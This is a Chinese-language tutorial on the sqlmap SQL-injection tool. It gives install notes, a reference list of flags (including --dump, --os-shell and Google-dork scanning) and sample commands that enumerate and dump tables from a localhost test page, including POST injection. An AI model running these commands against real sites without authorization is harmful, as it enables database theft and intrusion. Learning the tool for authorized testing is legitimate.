Sql注入 之sqlmap使用教程

一、安装sqlmap

浏览器访问SQLmap官网 即可下载工具;需要说明的是,SQLmap运行依赖于python环境,所以在下载使用前务必在电脑及终端上安装好python环境。

通过网盘分享的文件:sqlmap-master.zip

链接: https://pan.baidu.com/s/1YZiETm_zloxXcR1kf-0utw 提取码: j9wf

二、常用参数说明

详细参数:https://github.com/sqlmapproject/sqlmap/wiki/Usage

-u 指定目标URL (可以是http协议也可以是https协议)(--url="地址")

-d 连接数据库

--dbs 列出所有的数据库

--current-db 列出当前数据库

--tables 列出当前的表

--columns 列出当前的列

-D 选择使用哪个数据库

-T 选择使用哪个表

-C 选择使用哪个列

--dump 获取字段中的数据

--batch 自动选择yes

--smart 启发式快速判断,节约浪费时间

--forms 尝试使用post注入

-r 加载文件中的HTTP请求(本地保存的请求包txt文件)

-l 加载文件中的HTTP请求(本地保存的请求包日志文件)

-g 自动获取Google搜索的前一百个结果,对有GET参数的URL测试

-o 开启所有默认性能优化

--tamper 调用脚本进行注入

-v 指定sqlmap的回显等级

--delay 设置多久访问一次

--os-shell 获取主机shell,一般不太好用,因为没权限

-m 批量操作

-c 指定配置文件,会按照该配置文件执行动作

--data data指定的数据会当做post数据提交

-timeout 设定超时时间

-level 设置注入探测等级(1-5)

--risk 风险等级(1-3)

--identify-waf 检测防火墙类型

--param-del="分割符" 设置参数的分割符

--skip-urlencode 不进行url编码

--keep-alive 设置持久连接,加快探测速度

--null-connection 检索没有body响应的内容,多用于盲注

--thread 最大为10 设置多线程

--flush-session 刷新session文件缓存结果

--hostname 检索数据库管理系统的主机名

--users 当会话用户具有对包含DBMS用户信息的系统表的读取权限时,可以枚举用户列表

三、简单示例

1、获取数据库

复制代码
python sqlmap.py --url="http://localhost/test/test.php?id=12" --dbs  --flush-session

2、获取所有的表

复制代码
python sqlmap.py --url="http://localhost/test/test.php?id=12" -D test --tables  --flush-session

3、获取表字段

复制代码
python sqlmap.py --url="http://localhost/test/test.php?id=12" -T think_member --columns  --flush-session

4、获取表数据

复制代码
python sqlmap.py --url="http://localhost/test/test.php?id=12" -T think_member --dump  --flush-session

5、post提交注入

指定mysql数据库

复制代码
python sqlmap.py --url="http://localhost/test/test2.php" --dbs --data="username=yy&password=123" --method="post" --flush-session  --dbms=mysql
相关推荐
风123456789~19 分钟前
【OceanBase专栏】OB背景知识
数据库·笔记·oceanbase
4***721327 分钟前
【玩转全栈】----Django模板语法、请求与响应
数据库·python·django
c***421028 分钟前
Django视图与URLs路由详解
数据库·django·sqlite
数据库学啊31 分钟前
团队小希望运维简单,时序数据库选型有什么推荐?
运维·数据库·时序数据库
2***65631 小时前
数据库操作与数据管理——Rust 与 SQLite 的集成
数据库·rust·sqlite
V***u4532 小时前
如何查看PostgreSQL的版本
数据库·postgresql
倔强的石头_2 小时前
openGauss向量数据库:赋能智能制造的工业AI实践
数据库
口嗨农民工2 小时前
3.2 mysql客户端和服务器的启动与停止
数据库·mysql
e***19353 小时前
【SqlServer】SQL Server Management Studio (SSMS) 下载、安装、配置使用及卸载——保姆级教程
数据库·sqlserver